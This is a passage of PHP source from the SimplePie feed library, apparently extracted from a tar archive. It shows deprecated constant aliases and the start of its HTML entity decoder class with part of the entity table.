 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_SYNDICATION instead.
 */
define('SIMPLEPIE_TYPE_RSS_SYNDICATION', NamespacedSimplePie::TYPE_RSS_SYNDICATION);

/**
 * All RSS
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_ALL instead.
 */
define('SIMPLEPIE_TYPE_RSS_ALL', NamespacedSimplePie::TYPE_RSS_ALL);

/**
 * Atom 0.3
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_03 instead.
 */
define('SIMPLEPIE_TYPE_ATOM_03', NamespacedSimplePie::TYPE_ATOM_03);

/**
 * Atom 1.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_10 instead.
 */
define('SIMPLEPIE_TYPE_ATOM_10', NamespacedSimplePie::TYPE_ATOM_10);

/**
 * All Atom
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_ALL instead.
 */
define('SIMPLEPIE_TYPE_ATOM_ALL', NamespacedSimplePie::TYPE_ATOM_ALL);

/**
 * All feed types
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ALL instead.
 */
define('SIMPLEPIE_TYPE_ALL', NamespacedSimplePie::TYPE_ALL);

/**
 * No construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_NONE instead.
 */
define('SIMPLEPIE_CONSTRUCT_NONE', NamespacedSimplePie::CONSTRUCT_NONE);

/**
 * Text construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_TEXT instead.
 */
define('SIMPLEPIE_CONSTRUCT_TEXT', NamespacedSimplePie::CONSTRUCT_TEXT);

/**
 * HTML construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_HTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_HTML', NamespacedSimplePie::CONSTRUCT_HTML);

/**
 * XHTML construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_XHTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_XHTML', NamespacedSimplePie::CONSTRUCT_XHTML);

/**
 * base64-encoded construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_BASE64 instead.
 */
define('SIMPLEPIE_CONSTRUCT_BASE64', NamespacedSimplePie::CONSTRUCT_BASE64);

/**
 * IRI construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_IRI instead.
 */
define('SIMPLEPIE_CONSTRUCT_IRI', NamespacedSimplePie::CONSTRUCT_IRI);

/**
 * A construct that might be HTML
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', NamespacedSimplePie::CONSTRUCT_MAYBE_HTML);

/**
 * All constructs
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_ALL instead.
 */
define('SIMPLEPIE_CONSTRUCT_ALL', NamespacedSimplePie::CONSTRUCT_ALL);

/**
 * Don't change case
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::SAME_CASE instead.
 */
define('SIMPLEPIE_SAME_CASE', NamespacedSimplePie::SAME_CASE);

/**
 * Change to lowercase
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOWERCASE instead.
 */
define('SIMPLEPIE_LOWERCASE', NamespacedSimplePie::LOWERCASE);

/**
 * Change to uppercase
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::UPPERCASE instead.
 */
define('SIMPLEPIE_UPPERCASE', NamespacedSimplePie::UPPERCASE);

/**
 * PCRE for HTML attributes
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE instead.
 */
define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', NamespacedSimplePie::PCRE_HTML_ATTRIBUTE);

/**
 * PCRE for XML attributes
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE instead.
 */
define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', NamespacedSimplePie::PCRE_XML_ATTRIBUTE);

/**
 * XML Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_XML instead.
 */
define('SIMPLEPIE_NAMESPACE_XML', NamespacedSimplePie::NAMESPACE_XML);

/**
 * Atom 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ATOM_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_ATOM_10', NamespacedSimplePie::NAMESPACE_ATOM_10);

/**
 * Atom 0.3 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ATOM_03 instead.
 */
define('SIMPLEPIE_NAMESPACE_ATOM_03', NamespacedSimplePie::NAMESPACE_ATOM_03);

/**
 * RDF Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RDF instead.
 */
define('SIMPLEPIE_NAMESPACE_RDF', NamespacedSimplePie::NAMESPACE_RDF);

/**
 * RSS 0.90 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_090 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_090', NamespacedSimplePie::NAMESPACE_RSS_090);

/**
 * RSS 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_10', NamespacedSimplePie::NAMESPACE_RSS_10);

/**
 * RSS 1.0 Content Module Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', NamespacedSimplePie::NAMESPACE_RSS_10_MODULES_CONTENT);

/**
 * RSS 2.0 Namespace
 * (Stupid, I know, but I'm certain it will confuse people less with support.)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_20 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_20', NamespacedSimplePie::NAMESPACE_RSS_20);

/**
 * DC 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_DC_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_DC_10', NamespacedSimplePie::NAMESPACE_DC_10);

/**
 * DC 1.1 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_DC_11 instead.
 */
define('SIMPLEPIE_NAMESPACE_DC_11', NamespacedSimplePie::NAMESPACE_DC_11);

/**
 * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO instead.
 */
define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', NamespacedSimplePie::NAMESPACE_W3C_BASIC_GEO);

/**
 * GeoRSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_GEORSS instead.
 */
define('SIMPLEPIE_NAMESPACE_GEORSS', NamespacedSimplePie::NAMESPACE_GEORSS);

/**
 * Media RSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS', NamespacedSimplePie::NAMESPACE_MEDIARSS);

/**
 * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG);

/**
 * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG2);

/**
 * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG3);

/**
 * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG4);

/**
 * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG5);

/**
 * iTunes RSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ITUNES instead.
 */
define('SIMPLEPIE_NAMESPACE_ITUNES', NamespacedSimplePie::NAMESPACE_ITUNES);

/**
 * XHTML Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_XHTML instead.
 */
define('SIMPLEPIE_NAMESPACE_XHTML', NamespacedSimplePie::NAMESPACE_XHTML);

/**
 * IANA Link Relations Registry
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY instead.
 */
define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', NamespacedSimplePie::IANA_LINK_RELATIONS_REGISTRY);

/**
 * No file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_NONE instead.
 */
define('SIMPLEPIE_FILE_SOURCE_NONE', NamespacedSimplePie::FILE_SOURCE_NONE);

/**
 * Remote file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_REMOTE instead.
 */
define('SIMPLEPIE_FILE_SOURCE_REMOTE', NamespacedSimplePie::FILE_SOURCE_REMOTE);

/**
 * Local file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_LOCAL instead.
 */
define('SIMPLEPIE_FILE_SOURCE_LOCAL', NamespacedSimplePie::FILE_SOURCE_LOCAL);

/**
 * fsockopen() file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN instead.
 */
define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', NamespacedSimplePie::FILE_SOURCE_FSOCKOPEN);

/**
 * cURL file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_CURL instead.
 */
define('SIMPLEPIE_FILE_SOURCE_CURL', NamespacedSimplePie::FILE_SOURCE_CURL);

/**
 * file_get_contents() file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS instead.
 */
define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', NamespacedSimplePie::FILE_SOURCE_FILE_GET_CONTENTS);
library/SimplePie/Decode/HTML/Entities.php000064400000056424151024210710014327 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Decode HTML Entities
 *
 * This implements HTML5 as of revision 967 (2007-06-28)
 *
 * @deprecated Use DOMDocument instead!
 * @package SimplePie
 */
class SimplePie_Decode_HTML_Entities
{
    /**
     * Data to be parsed
     *
     * @access private
     * @var string
     */
    public $data = '';

    /**
     * Currently consumed bytes
     *
     * @access private
     * @var string
     */
    public $consumed = '';

    /**
     * Position of the current byte being parsed
     *
     * @access private
     * @var int
     */
    public $position = 0;

    /**
     * Create an instance of the class with the input data
     *
     * @access public
     * @param string $data Input data
     */
    public function __construct($data)
    {
        $this->data = $data;
    }

    /**
     * Parse the input data
     *
     * @access public
     * @return string Output data
     */
    public function parse()
    {
        while (($this->position = strpos($this->data, '&', $this->position)) !== false) {
            $this->consume();
            $this->entity();
            $this->consumed = '';
        }
        return $this->data;
    }

    /**
     * Consume the next byte
     *
     * @access private
     * @return mixed The next byte, or false, if there is no more data
     */
    public function consume()
    {
        if (isset($this->data[$this->position])) {
            $this->consumed .= $this->data[$this->position];
            return $this->data[$this->position++];
        }

        return false;
    }

    /**
     * Consume a range of characters
     *
     * @access private
     * @param string $chars Characters to consume
     * @return mixed A series of characters that match the range, or false
     */
    public function consume_range($chars)
    {
        if ($len = strspn($this->data, $chars, $this->position)) {
            $data = substr($this->data, $this->position, $len);
            $this->consumed .= $data;
            $this->position += $len;
            return $data;
        }

        return false;
    }

    /**
     * Unconsume one byte
     *
     * @access private
     */
    public function unconsume()
    {
        $this->consumed = substr($this->consumed, 0, -1);
        $this->position--;
    }

    /**
     * Decode an entity
     *
     * @access private
     */
    public function entity()
    {
        switch ($this->consume()) {
            case "\x09":
            case "\x0A":
            case "\x0B":
            case "\x0C":
            case "\x20":
            case "\x3C":
            case "\x26":
            case false:
                break;

            case "\x23":
                switch ($this->consume()) {
                    case "\x78":
                    case "\x58":
                        $range = '0123456789ABCDEFabcdef';
                        $hex = true;
                        break;

                    default:
                        $range = '0123456789';
                        $hex = false;
                        $this->unconsume();
                        break;
                }

                if ($codepoint = $this->consume_range($range)) {
                    static $windows_1252_specials = [0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"];

                    if ($hex) {
                        $codepoint = hexdec($codepoint);
                    } else {
                        $codepoint = intval($codepoint);
                    }

                    if (isset($windows_1252_specials[$codepoint])) {
                        $replacement = $windows_1252_specials[$codepoint];
                    } else {
                        $replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
                    }

                    if (!in_array($this->consume(), [';', false], true)) {
                        $this->unconsume();
                    }

                    $consumed_length = strlen($this->consumed);
                    $this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
                    $this->position += strlen($replacement) - $consumed_length;
                }
                break;

            default:
                static $entities = [
                    'Aacute' => "\xC3\x81",
                    'aacute' => "\xC3\xA1",
                    'Aacute;' => "\xC3\x81",
                    'aacute;' => "\xC3\xA1",
                    'Acirc' => "\xC3\x82",
                    'acirc' => "\xC3\xA2",
                    'Acirc;' => "\xC3\x82",
                    'acirc;' => "\xC3\xA2",
                    'acute' => "\xC2\xB4",
                    'acute;' => "\xC2\xB4",
                    'AElig' => "\xC3\x86",
                    'aelig' => "\xC3\xA6",
                    'AElig;' => "\xC3\x86",
                    'aelig;' => "\xC3\xA6",
                    'Agrave' => "\xC3\x80",
                    'agrave' => "\xC3\xA0",
                    'Agrave;' => "\xC3\x80",
                    'agrave;' => "\xC3\xA0",
                    'alefsym;' => "\xE2\x84\xB5",
                    'Alpha;' => "\xCE\x91",
                    'alpha;' => "\xCE\xB1",
                    'AMP' => "\x26",
                    'amp' => "\x26",
                    'AMP;' => "\x26",
                    'amp;' => "\x26",
                    'and;' => "\xE2\x88\xA7",
                    'ang;' => "\xE2\x88\xA0",
                    'apos;' => "\x27",
                    'Aring' => "\xC3\x85",
                    'aring' => "\xC3\xA5",
                    'Aring;' => "\xC3\x85",
                    'aring;' => "\xC3\xA5",
                    'asymp;' => "\xE2\x89\x88",
                    'Atilde' => "\xC3\x83",
                    'atilde' => "\xC3\xA3",
                    'Atilde;' => "\xC3\x83",
                    'atilde;' => "\xC3\xA3",
                    'Auml' => "\xC3\x84",
                    'auml' => "\xC3\xA4",
                    'Auml;' => "\xC3\x84",
                    'auml;' => "\xC3\xA4",
                    'bdquo;' => "\xE2\x80\x9E",
                    'Beta;' => "\xCE\x92",
                    'beta;' => "\xCE\xB2",
                    'brvbar' => "\xC2\xA6",
                    'brvbar;' => "\xC2\xA6",
                    'bull;' => "\xE2\x80\xA2",
                    'cap;' => "\xE2\x88\xA9",
                    'Ccedil' => "\xC3\x87",
                    'ccedil' => "\xC3\xA7",
                    'Ccedil;' => "\xC3\x87",
                    'ccedil;' => "\xC3\xA7",
                    'cedil' => "\xC2\xB8",
                    'cedil;' => "\xC2\xB8",
                    'cent' => "\xC2\xA2",
                    'cent;' => "\xC2\xA2",
                    'Chi;' => "\xCE\xA7",
                    'chi;' => "\xCF\x87",
                    'circ;' => "\xCB\x86",
                    'clubs;' => "\xE2\x99\xA3",
                    'cong;' => "\xE2\x89\x85",
                    'COPY' => "\xC2\xA9",
                    'copy' => "\xC2\xA9",
                    'COPY;' => "\xC2\xA9",
                    'copy;' => "\xC2\xA9",
                    'crarr;' => "\xE2\x86\xB5",
                    'cup;' => "\xE2\x88\xAA",
                    'curren' => "\xC2\xA4",
                    'curren;' => "\xC2\xA4",
                    'Dagger;' => "\xE2\x80\xA1",
                    'dagger;' => "\xE2\x80\xA0",
                    'dArr;' => "\xE2\x87\x93",
                    'darr;' => "\xE2\x86\x93",
                    'deg' => "\xC2\xB0",
                    'deg;' => "\xC2\xB0",
                    'Delta;' => "\xCE\x94",
                    'delta;' => "\xCE\xB4",
                    'diams;' => "\xE2\x99\xA6",
                    'divide' => "\xC3\xB7",
                    'divide;' => "\xC3\xB7",
                    'Eacute' => "\xC3\x89",
                    'eacute' => "\xC3\xA9",
                    'Eacute;' => "\xC3\x89",
                    'eacute;' => "\xC3\xA9",
                    'Ecirc' => "\xC3\x8A",
                    'ecirc' => "\xC3\xAA",
                    'Ecirc;' => "\xC3\x8A",
                    'ecirc;' => "\xC3\xAA",
                    'Egrave' => "\xC3\x88",
                    'egrave' => "\xC3\xA8",
                    'Egrave;' => "\xC3\x88",
                    'egrave;' => "\xC3\xA8",
                    'empty;' => "\xE2\x88\x85",
                    'emsp;' => "\xE2\x80\x83",
                    'ensp;' => "\xE2\x80\x82",
                    'Epsilon;' => "\xCE\x95",
                    'epsilon;' => "\xCE\xB5",
                    'equiv;' => "\xE2\x89\xA1",
                    'Eta;' => "\xCE\x97",
                    'eta;' => "\xCE\xB7",
                    'ETH' => "\xC3\x90",
                    'eth' => "\xC3\xB0",
                    'ETH;' => "\xC3\x90",
                    'eth;' => "\xC3\xB0",
                    'Euml' => "\xC3\x8B",
                    'euml' => "\xC3\xAB",
                    'Euml;' => "\xC3\x8B",
                    'euml;' => "\xC3\xAB",
                    'euro;' => "\xE2\x82\xAC",
                    'exist;' => "\xE2\x88\x83",
                    'fnof;' => "\xC6\x92",
                    'forall;' => "\xE2\x88\x80",
                    'frac12' => "\xC2\xBD",
                    'frac12;' => "\xC2\xBD",
                    'frac14' => "\xC2\xBC",
                    'frac14;' => "\xC2\xBC",
                    'frac34' => "\xC2\xBE",
                    'frac34;' => "\xC2\xBE",
                    'frasl;' => "\xE2\x81\x84",
                    'Gamma;' => "\xCE\x93",
                    'gamma;' => "\xCE\xB3",
                    'ge;' => "\xE2\x89\xA5",
                    'GT' => "\x3E",
                    'gt' => "\x3E",
                    'GT;' => "\x3E",
                    'gt;' => "\x3E",
                    'hArr;' => "\xE2\x87\x94",
                    'harr;' => "\xE2\x86\x94",
                    'hearts;' => "\xE2\x99\xA5",
                    'hellip;' => "\xE2\x80\xA6",
                    'Iacute' => "\xC3\x8D",
                    'iacute' => "\xC3\xAD",
                    'Iacute;' => "\xC3\x8D",
                    'iacute;' => "\xC3\xAD",
                    'Icirc' => "\xC3\x8E",
                    'icirc' => "\xC3\xAE",
                    'Icirc;' => "\xC3\x8E",
                    'icirc;' => "\xC3\xAE",
                    'iexcl' => "\xC2\xA1",
                    'iexcl;' => "\xC2\xA1",
                    'Igrave' => "\xC3\x8C",
                    'igrave' => "\xC3\xAC",
                    'Igrave;' => "\xC3\x8C",
                    'igrave;' => "\xC3\xAC",
                    'image;' => "\xE2\x84\x91",
                    'infin;' => "\xE2\x88\x9E",
                    'int;' => "\xE2\x88\xAB",
                    'Iota;' => "\xCE\x99",
                    'iota;' => "\xCE\xB9",
                    'iquest' => "\xC2\xBF",
                    'iquest;' => "\xC2\xBF",
                    'isin;' => "\xE2\x88\x88",
                    'Iuml' => "\xC3\x8F",
                    'iuml' => "\xC3\xAF",
                    'Iuml;' => "\xC3\x8F",
                    'iuml;' => "\xC3\xAF",
                    'Kappa;' => "\xCE\x9A",
                    'kappa;' => "\xCE\xBA",
                    'Lambda;' => "\xCE\x9B",
                    'lambda;' => "\xCE\xBB",
                    'lang;' => "\xE3\x80\x88",
                    'laquo' => "\xC2\xAB",
                    'laquo;' => "\xC2\xAB",
                    'lArr;' => "\xE2\x87\x90",
                    'larr;' => "\xE2\x86\x90",
                    'lceil;' => "\xE2\x8C\x88",
                    'ldquo;' => "\xE2\x80\x9C",
                    'le;' => "\xE2\x89\xA4",
                    'lfloor;' => "\xE2\x8C\x8A",
                    'lowast;' => "\xE2\x88\x97",
                    'loz;' => "\xE2\x97\x8A",
                    'lrm;' => "\xE2\x80\x8E",
                    'lsaquo;' => "\xE2\x80\xB9",
                    'lsquo;' => "\xE2\x80\x98",
                    'LT' => "\x3C",
                    'lt' => "\x3C",
                    'LT;' => "\x3C",
                    'lt;' => "\x3C",
                    'macr' => "\xC2\xAF",
                    'macr;' => "\xC2\xAF",
                    'mdash;' => "\xE2\x80\x94",
                    'micro' => "\xC2\xB5",
                    'micro;' => "\xC2\xB5",
                    'middot' => "\xC2\xB7",
                    'middot;' => "\xC2\xB7",
                    'minus;' => "\xE2\x88\x92",
                    'Mu;' => "\xCE\x9C",
                    'mu;' => "\xCE\xBC",
                    'nabla;' => "\xE2\x88\x87",
                    'nbsp' => "\xC2\xA0",
                    'nbsp;' => "\xC2\xA0",
                    'ndash;' => "\xE2\x80\x93",
                    'ne;' => "\xE2\x89\xA0",
                    'ni;' => "\xE2\x88\x8B",
                    'not' => "\xC2\xAC",
                    'not;' => "\xC2\xAC",
                    'notin;' => "\xE2\x88\x89",
                    'nsub;' => "\xE2\x8A\x84",
                    'Ntilde' => "\xC3\x91",
                    'ntilde' => "\xC3\xB1",
                    'Ntilde;' => "\xC3\x91",
                    'ntilde;' => "\xC3\xB1",
                    'Nu;' => "\xCE\x9D",
                    'nu;' => "\xCE\xBD",
                    'Oacute' => "\xC3\x93",
                    'oacute' => "\xC3\xB3",
                    'Oacute;' => "\xC3\x93",
                    'oacute;' => "\xC3\xB3",
                    'Ocirc' => "\xC3\x94",
                    'ocirc' => "\xC3\xB4",
                    'Ocirc;' => "\xC3\x94",
                    'ocirc;' => "\xC3\xB4",
                    'OElig;' => "\xC5\x92",
                    'oelig;' => "\xC5\x93",
                    'Ograve' => "\xC3\x92",
                    'ograve' => "\xC3\xB2",
                    'Ograve;' => "\xC3\x92",
                    'ograve;' => "\xC3\xB2",
                    'oline;' => "\xE2\x80\xBE",
                    'Omega;' => "\xCE\xA9",
                    'omega;' => "\xCF\x89",
                    'Omicron;' => "\xCE\x9F",
                    'omicron;' => "\xCE\xBF",
                    'oplus;' => "\xE2\x8A\x95",
                    'or;' => "\xE2\x88\xA8",
                    'ordf' => "\xC2\xAA",
                    'ordf;' => "\xC2\xAA",
                    'ordm' => "\xC2\xBA",
                    'ordm;' => "\xC2\xBA",
                    'Oslash' => "\xC3\x98",
                    'oslash' => "\xC3\xB8",
                    'Oslash;' => "\xC3\x98",
                    'oslash;' => "\xC3\xB8",
                    'Otilde' => "\xC3\x95",
                    'otilde' => "\xC3\xB5",
                    'Otilde;' => "\xC3\x95",
                    'otilde;' => "\xC3\xB5",
                    'otimes;' => "\xE2\x8A\x97",
                    'Ouml' => "\xC3\x96",
                    'ouml' => "\xC3\xB6",
                    'Ouml;' => "\xC3\x96",
                    'ouml;' => "\xC3\xB6",
                    'para' => "\xC2\xB6",
                    'para;' => "\xC2\xB6",
                    'part;' => "\xE2\x88\x82",
                    'permil;' => "\xE2\x80\xB0",
                    'perp;' => "\xE2\x8A\xA5",
                    'Phi;' => "\xCE\xA6",
                    'phi;' => "\xCF\x86",
                    'Pi;' => "\xCE\xA0",
                    'pi;' => "\xCF\x80",
                    'piv;' => "\xCF\x96",
                    'plusmn' => "\xC2\xB1",
                    'plusmn;' => "\xC2\xB1",
                    'pound' => "\xC2\xA3",
                    'pound;' => "\xC2\xA3",
                    'Prime;' => "\xE2\x80\xB3",
                    'prime;' => "\xE2\x80\xB2",
                    'prod;' => "\xE2\x88\x8F",
                    'prop;' => "\xE2\x88\x9D",
                    'Psi;' => "\xCE\xA8",
                    'psi;' => "\xCF\x88",
                    'QUOT' => "\x22",
                    'quot' => "\x22",
                    'QUOT;' => "\x22",
                    'quot;' => "\x22",
                    'radic;' => "\xE2\x88\x9A",
                    'rang;' => "\xE3\x80\x89",
                    'raquo' => "\xC2\xBB",
                    'raquo;' => "\xC2\xBB",
                    'rArr;' => "\xE2\x87\x92",
                    'rarr;' => "\xE2\x86\x92",
                    'rceil;' => "\xE2\x8C\x89",
                    'rdquo;' => "\xE2\x80\x9D",
                    'real;' => "\xE2\x84\x9C",
                    'REG' => "\xC2\xAE",
                    'reg' => "\xC2\xAE",
                    'REG;' => "\xC2\xAE",
                    'reg;' => "\xC2\xAE",
                    'rfloor;' => "\xE2\x8C\x8B",
                    'Rho;' => "\xCE\xA1",
                    'rho;' => "\xCF\x81",
                    'rlm;' => "\xE2\x80\x8F",
                    'rsaquo;' => "\xE2\x80\xBA",
                    'rsquo;' => "\xE2\x80\x99",
                    'sbquo;' => "\xE2\x80\x9A",
                    'Scaron;' => "\xC5\xA0",
                    'scaron;' => "\xC5\xA1",
                    'sdot;' => "\xE2\x8B\x85",
                    'sect' => "\xC2\xA7",
                    'sect;' => "\xC2\xA7",
                    'shy' => "\xC2\xAD",
                    'shy;' => "\xC2\xAD",
                    'Sigma;' => "\xCE\xA3",
                    'sigma;' => "\xCF\x83",
                    'sigmaf;' => "\xCF\x82",
                    'sim;' => "\xE2\x88\xBC",
                    'spades;' => "\xE2\x99\xA0",
                    'sub;' => "\xE2\x8A\x82",
                    'sube;' => "\xE2\x8A\x86",
                    'sum;' => "\xE2\x88\x91",
                    'sup;' => "\xE2\x8A\x83",
                    'sup1' => "\xC2\xB9",
                    'sup1;' => "\xC2\xB9",
                    'sup2' => "\xC2\xB2",
